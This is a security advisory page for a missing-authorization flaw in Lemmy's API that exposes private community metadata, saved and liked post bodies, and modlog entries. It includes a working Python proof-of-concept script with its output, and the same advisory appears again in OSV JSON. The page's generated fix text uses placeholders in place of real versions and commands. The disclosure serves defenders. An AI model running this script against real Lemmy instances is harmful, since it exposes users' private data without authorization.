GHSA-95q8-x6r6-672m: Lemmy api Lemmy May Expose Private Community Vulnerability

MODERATE
CVSS 5.3
CWE-862
Published
Advisory Summary

GHSA-95q8-x6r6-672m is a MODERATE (CVSS 5.3) lemmy may expose private community vulnerability (CWE-862: Missing Authorization) affecting Lemmy api libraries in the crates.io ecosystem. The issue involves lemmy may expose private community data through community, saved, liked, and modlog api views. Remediation is available in the latest vendor maintenance releases.

GHSA-95q8-x6r6-672m at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-95q8-x6r6-672m
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-862: Missing Authorization
Affected Product Lemmy api
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-95q8-x6r6-672m

To remediate this vulnerability, upgrade all affected Lemmy api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

lemmy_api fixed: Latest secure release
Upgrade lemmy_api to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for lemmy_api

How to Check if You Are Affected

To determine whether your application is affected by GHSA-95q8-x6r6-672m, inspect your project dependencies for Lemmy api:

inspect dependencies for lemmy_api

Analyze the terminal output to locate any version of Lemmy api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Lemmy api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**NOTE**: Only affects development version. ## Summary Lemmy applies private-community checks in `PostView` and `CommentView`, but several adjacent API views skip the accepted-follower filter. Bob, a registered user who is not an accepted follower, can read private community `sidebar` and `summary` fields. Alice, a former accepted follower, can still read saved and liked private post bodies after she leaves. An unauthenticated visitor can read private community metadata and removed private post names through the modlog. ## Details `CommunityView::read()` and `CommunityQuery::list()` call `visible_communities_only()`, but they do not add the private-community filter used by post and comment reads: ```rust query = my_local_user.visible_communities_only(query); query.first(conn).await.with_lemmy_type(LemmyErrorType::NotFound) ``` `PersonSavedCombinedQuery::list()` and `PersonLikedCombinedQuery::list()` join `community_actions`, but they only filter by the requesting person id. They do not require `community_actions.follow_state = Accepted` when the community has `visibility = Private`. The modlog query returns `ListingType::All` without a visibility predicate: ```rust query = match self.listing_type.unwrap_or(ListingType::All) { ListingType::All => query, ``` The control paths show the expected check. `PostView::read()` and `CommentView::read()` both filter private communities to accepted followers: ```rust community::visibility .ne(CommunityVisibility::Private) .or(community_actions::follow_state.eq(CommunityFollowerState::Accepted)) ``` ## Proof of Concept The following script reproduces the leak against a fresh Lemmy instance. Tested against `dessalines/lemmy:nightly` with the default setup account from the sample config. The script opens registration so it can create Alice and Bob. ```python import requests, random, string BASE = "http://127.0.0.1:8536/api/v4" # change to the target Lemmy URL ADMIN_USER = "lemmy" ADMIN_PASS = "lemmylemmy" PASSWORD = "Password123456!" def req(method, path, token=None, params=None, **body): headers = {} if token: headers["Authorization"] = "Bearer " + token return requests.request(method, BASE + path, headers=headers, params=params, json=body or None) def register(name): r = req("POST", "/account/auth/register", username=name, password=PASSWORD, password_verify=PASSWORD, email=name + "@example.test") r.raise_for_status() token = r.json()["jwt"] person_id = req("GET", "/account", token).json()["local_user_view"]["person"]["id"] return token, person_id def show(label, response, marker): text = response.text print("\n" + label + ": HTTP", response.status_code) print(text[:700]) print("contains marker:", marker in text) suffix = "poc" + "".join(random.choice(string.ascii_lowercase) for _ in range(6)) admin = req("POST", "/account/auth/login", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()["jwt"] req("PUT", "/site", admin, registration_mode="open", email_verification_required=False) alice, alice_id = register("alice" + suffix) bob, _ = register("bob" + suffix) secret = "SECRET_" + suffix community = req("POST", "/community", admin, name="priv" + suffix, title="Private Proof " + suffix, sidebar=secret + " sidebar", summary=secret + " summary", visibility="private").json()["community_view"]["community"] community_id = community["id"] post = req("POST", "/post", admin, name="secret post " + suffix, community_id=community_id, body=secret + " post body").json()["post_view"]["post"] post_id = post["id"] show("Bob reads private community metadata", req("GET", "/community", bob, params={"id": community_id}), secret) show("Bob direct post read control", req("GET", "/post", bob, params={"id": post_id}), secret) req("POST", "/community/follow", alice, community_id=community_id, follow=True) req("POST", "/community/pending_follows/approve", admin, community_id=community_id, follower_id=alice_id, approve=True) req("PUT", "/post/save", alice, post_id=post_id, save=True) req("POST", "/post/like", alice, post_id=post_id, is_upvote=True) req("POST", "/community/follow", alice, community_id=community_id, follow=False) show("Alice direct post read after leaving", req("GET", "/post", alice, params={"id": post_id}), secret) show("Alice saved list after leaving", req("GET", "/account/saved", alice), secret) show("Alice liked list after leaving", req("GET", "/account/liked", alice), secret) mod_comm = req("POST", "/community", admin, name="modlog" + suffix, title="Private Modlog " + suffix, sidebar=secret + " modlog sidebar", summary=secret + " modlog summary", visibility="private").json()["community_view"]["community"] mod_post = req("POST", "/post", admin, name=secret + " removed post", community_id=mod_comm["id"], body="body").json()["post_view"]["post"] req("POST", "/post/remove", admin, post_id=mod_post["id"], removed=True, reason="poc") show("Unauthenticated modlog", req("GET", "/modlog", params={"listing_type": "all", "limit": 50}), secret) ``` Output: ```text Bob reads private community metadata: HTTP 200 contains marker: True Bob direct post read control: HTTP 404 contains marker: False Alice direct post read after leaving: HTTP 404 contains marker: False Alice saved list after leaving: HTTP 200 contains marker: True Alice liked list after leaving: HTTP 200 contains marker: True Unauthenticated modlog: HTTP 200 contains marker: True ``` ## Impact Bob can read private community descriptions and sidebars before a moderator approves him. Alice can leave a private community, or a moderator can remove her, and Lemmy still returns private post bodies that Alice saved or liked while she was a member. An unauthenticated visitor can use the public modlog to discover private community metadata and removed private post names. ## Recommended Fix Apply the same private-community filter used by `PostView` and `CommentView` to `CommunityView::read()`, `CommunityQuery::list()`, `PersonSavedCombinedQuery::list()`, `PersonLikedCombinedQuery::list()`, and the `ListingType::All` branch of the modlog query. Admins and accepted followers should keep access. Other callers should receive the same `404` behavior as `GET /post` and `GET /comment`. --- *Found by [aisafe.io](https://aisafe.io)*

GHSA-95q8-x6r6-672m Affected Lemmy api Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
lemmy_api
crates.io
≤ 0.19.1-rc.1

References

Frequently Asked Questions

What is GHSA-95q8-x6r6-672m?
GHSA-95q8-x6r6-672m is a security vulnerability in Lemmy api involving Lemmy may expose private community data through community, saved, liked, and modlog API views under CWE-862: Missing Authorization.
Which Lemmy api versions are affected?
Affected versions include releases prior to current release patches across affected packages: lemmy_api.
What version fixes GHSA-95q8-x6r6-672m?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is lemmy_api affected?
Yes, lemmy_api is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-95q8-x6r6-672m?
GHSA-95q8-x6r6-672m has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with GHSA-95q8-x6r6-672m?
GHSA-95q8-x6r6-672m is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check crates.io dependencies for GHSA-95q8-x6r6-672m?
Run the dependency tree command: 'inspect dependencies for lemmy_api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-95q8-x6r6-672m",
  "modified" : "2026-06-08T23:39:41Z",
  "published" : "2026-05-06T22:22:41Z",
  "aliases" : [ ],
  "summary" : "Lemmy may expose private community data through community, saved, liked, and modlog API views",
  "details" : "**NOTE**: Only affects development version.\n\n## Summary\n\nLemmy applies private-community checks in `PostView` and `CommentView`, but several adjacent API views skip the accepted-follower filter. Bob, a registered user who is not an accepted follower, can read private community `sidebar` and `summary` fields. Alice, a former accepted follower, can still read saved and liked private post bodies after she leaves. An unauthenticated visitor can read private community metadata and removed private post names through the modlog.\n\n## Details\n\n`CommunityView::read()` and `CommunityQuery::list()` call `visible_communities_only()`, but they do not add the private-community filter used by post and comment reads:\n\n```rust\nquery = my_local_user.visible_communities_only(query);\nquery.first(conn).await.with_lemmy_type(LemmyErrorType::NotFound)\n```\n\n`PersonSavedCombinedQuery::list()` and `PersonLikedCombinedQuery::list()` join `community_actions`, but they only filter by the requesting person id. They do not require `community_actions.follow_state = Accepted` when the community has `visibility = Private`.\n\nThe modlog query returns `ListingType::All` without a visibility predicate:\n\n```rust\nquery = match self.listing_type.unwrap_or(ListingType::All) {\n  ListingType::All => query,\n```\n\nThe control paths show the expected check. `PostView::read()` and `CommentView::read()` both filter private communities to accepted followers:\n\n```rust\ncommunity::visibility\n  .ne(CommunityVisibility::Private)\n  .or(community_actions::follow_state.eq(CommunityFollowerState::Accepted))\n```\n\n## Proof of Concept\n\nThe following script reproduces the leak against a fresh Lemmy instance. Tested against `dessalines/lemmy:nightly` with the default setup account from the sample config. The script opens registration so it can create Alice and Bob.\n\n```python\nimport requests, random, string\n\nBASE = \"http://127.0.0.1:8536/api/v4\"  # change to the target Lemmy URL\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\nPASSWORD = \"Password123456!\"\n\ndef req(method, path, token=None, params=None, **body):\n    headers = {}\n    if token:\n        headers[\"Authorization\"] = \"Bearer \" + token\n    return requests.request(method, BASE + path, headers=headers, params=params, json=body or None)\n\ndef register(name):\n    r = req(\"POST\", \"/account/auth/register\", username=name, password=PASSWORD,\n            password_verify=PASSWORD, email=name + \"@example.test\")\n    r.raise_for_status()\n    token = r.json()[\"jwt\"]\n    person_id = req(\"GET\", \"/account\", token).json()[\"local_user_view\"][\"person\"][\"id\"]\n    return token, person_id\n\ndef show(label, response, marker):\n    text = response.text\n    print(\"\\n\" + label + \": HTTP\", response.status_code)\n    print(text[:700])\n    print(\"contains marker:\", marker in text)\n\nsuffix = \"poc\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nadmin = req(\"POST\", \"/account/auth/login\", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()[\"jwt\"]\nreq(\"PUT\", \"/site\", admin, registration_mode=\"open\", email_verification_required=False)\n\nalice, alice_id = register(\"alice\" + suffix)\nbob, _ = register(\"bob\" + suffix)\nsecret = \"SECRET_\" + suffix\n\ncommunity = req(\"POST\", \"/community\", admin,\n                name=\"priv\" + suffix,\n                title=\"Private Proof \" + suffix,\n                sidebar=secret + \" sidebar\",\n                summary=secret + \" summary\",\n                visibility=\"private\").json()[\"community_view\"][\"community\"]\ncommunity_id = community[\"id\"]\npost = req(\"POST\", \"/post\", admin, name=\"secret post \" + suffix,\n           community_id=community_id, body=secret + \" post body\").json()[\"post_view\"][\"post\"]\npost_id = post[\"id\"]\n\nshow(\"Bob reads private community metadata\", req(\"GET\", \"/community\", bob, params={\"id\": community_id}), secret)\nshow(\"Bob direct post read control\", req(\"GET\", \"/post\", bob, params={\"id\": post_id}), secret)\n\nreq(\"POST\", \"/community/follow\", alice, community_id=community_id, follow=True)\nreq(\"POST\", \"/community/pending_follows/approve\", admin,\n    community_id=community_id, follower_id=alice_id, approve=True)\nreq(\"PUT\", \"/post/save\", alice, post_id=post_id, save=True)\nreq(\"POST\", \"/post/like\", alice, post_id=post_id, is_upvote=True)\nreq(\"POST\", \"/community/follow\", alice, community_id=community_id, follow=False)\n\nshow(\"Alice direct post read after leaving\", req(\"GET\", \"/post\", alice, params={\"id\": post_id}), secret)\nshow(\"Alice saved list after leaving\", req(\"GET\", \"/account/saved\", alice), secret)\nshow(\"Alice liked list after leaving\", req(\"GET\", \"/account/liked\", alice), secret)\n\nmod_comm = req(\"POST\", \"/community\", admin,\n               name=\"modlog\" + suffix,\n               title=\"Private Modlog \" + suffix,\n               sidebar=secret + \" modlog sidebar\",\n               summary=secret + \" modlog summary\",\n               visibility=\"private\").json()[\"community_view\"][\"community\"]\nmod_post = req(\"POST\", \"/post\", admin, name=secret + \" removed post\",\n               community_id=mod_comm[\"id\"], body=\"body\").json()[\"post_view\"][\"post\"]\nreq(\"POST\", \"/post/remove\", admin, post_id=mod_post[\"id\"], removed=True, reason=\"poc\")\nshow(\"Unauthenticated modlog\", req(\"GET\", \"/modlog\", params={\"listing_type\": \"all\", \"limit\": 50}), secret)\n\n```\n\nOutput:\n\n```text\nBob reads private community metadata: HTTP 200\ncontains marker: True\nBob direct post read control: HTTP 404\ncontains marker: False\nAlice direct post read after leaving: HTTP 404\ncontains marker: False\nAlice saved list after leaving: HTTP 200\ncontains marker: True\nAlice liked list after leaving: HTTP 200\ncontains marker: True\nUnauthenticated modlog: HTTP 200\ncontains marker: True\n```\n\n## Impact\n\nBob can read private community descriptions and sidebars before a moderator approves him. Alice can leave a private community, or a moderator can remove her, and Lemmy still returns private post bodies that Alice saved or liked while she was a member. An unauthenticated visitor can use the public modlog to discover private community metadata and removed private post names.\n\n## Recommended Fix\n\nApply the same private-community filter used by `PostView` and `CommentView` to `CommunityView::read()`, `CommunityQuery::list()`, `PersonSavedCombinedQuery::list()`, `PersonLikedCombinedQuery::list()`, and the `ListingType::All` branch of the modlog query. Admins and accepted followers should keep access. Other callers should receive the same `404` behavior as `GET /post` and `GET /comment`.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "lemmy_api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.19.1-rc.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-95q8-x6r6-672m"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LemmyNet/lemmy/commit/637151121a8e27b2b8c95e98d6f86966b31b4a6d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/LemmyNet/lemmy"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T22:22:41Z",
    "nvd_published_at" : null
  }
}